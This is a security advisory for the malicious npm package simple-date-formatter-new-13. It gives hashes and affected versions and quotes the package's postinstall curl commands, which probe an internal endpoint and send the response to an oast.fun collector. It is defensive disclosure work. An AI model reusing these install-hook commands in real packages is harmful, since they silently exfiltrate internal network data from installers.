Malicious code in simple-date-formatter-new-13 (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8f295d4208d67cbb14c8804b287109ad5ed7946e39f0256e601f846e485c6c54) simple-date-formatter-new-13@1.0.0 presents itself as a date-formatting utility but ships a trivial three-line stub while its package.json postinstall script performs an SSRF probe and out-of-band exfiltration on every `npm install`. The postinstall runs `curl -v -m 3 http://bsrc-ssrf.n.baidu-int.com/6395292252 -o /tmp/bsrc.txt` against an internal Baidu network endpoint, then `curl -X POST -d "$(cat /tmp/bsrc.txt...)" http://pdxkwzizhzzdpzpgcieqk6d1v7ynqsgfo.oast.fun/bsrc` sends the retrieved bytes to an anonymous interactsh/oast.fun collector. The declared purpose (date formatting) has no need for install-time network I/O, and the name/behavior mismatch plus the SSRF+OAST pattern is characteristic of a dependency-confusion probe. Installers running `npm install` will silently leak whatever internal-network content the SSRF target returns to an attacker-controlled endpoint.
MAL-2026-17159
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:MAL-2026-17159
simple-date-formatter-new-13
Source reference: /affected/0/package/name
- Affected versions
- 1.0.0
Source reference:
/affected/0/versions - Fixed versions
- Not stated in this record
- Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"package": {
"name": "simple-date-formatter-new-13",
"purl": "pkg:npm/simple-date-formatter-new-13",
"ecosystem": "npm"
},
"versions": [
"1.0.0"
],
"database_specific": {
"cwes": [
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
}
],
"source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/simple-date-formatter-new-13/MAL-2026-17159.json",
"indicators": {
"evidence_files": [
{
"path": "package.json",
"tlsh": "f1f05c44d6545db397c286fc9a66050e7a01ae0714447d05b39a08ac879aaf641be30f",
"sha256": "883c50c4d679a0345a9b060cb463945383bfbc8977d64744a63ad573d6b93340"
}
],
"package_integrity": [
{
"hashes": {
"sha1": "12902868e262a7fe5ed5a9c1d4f38feca3d551dc",
"sha512_sri": "sha512-gJoi/A+l4g/xNaRMllVvTZ39y29duntIU/XNnnWQHYGRR5DTmHUZEoNUigmAFVUIQObpfrDWY1g/xkfsnXlfwQ=="
},
"filename": "simple-date-formatter-new-13-1.0.0.tgz"
}
]
}
}
}
]Publisher severity
No explicit severity was provided.
- Event
- #13782 · Revision 1
- Added to Heist Feed
- Publisher date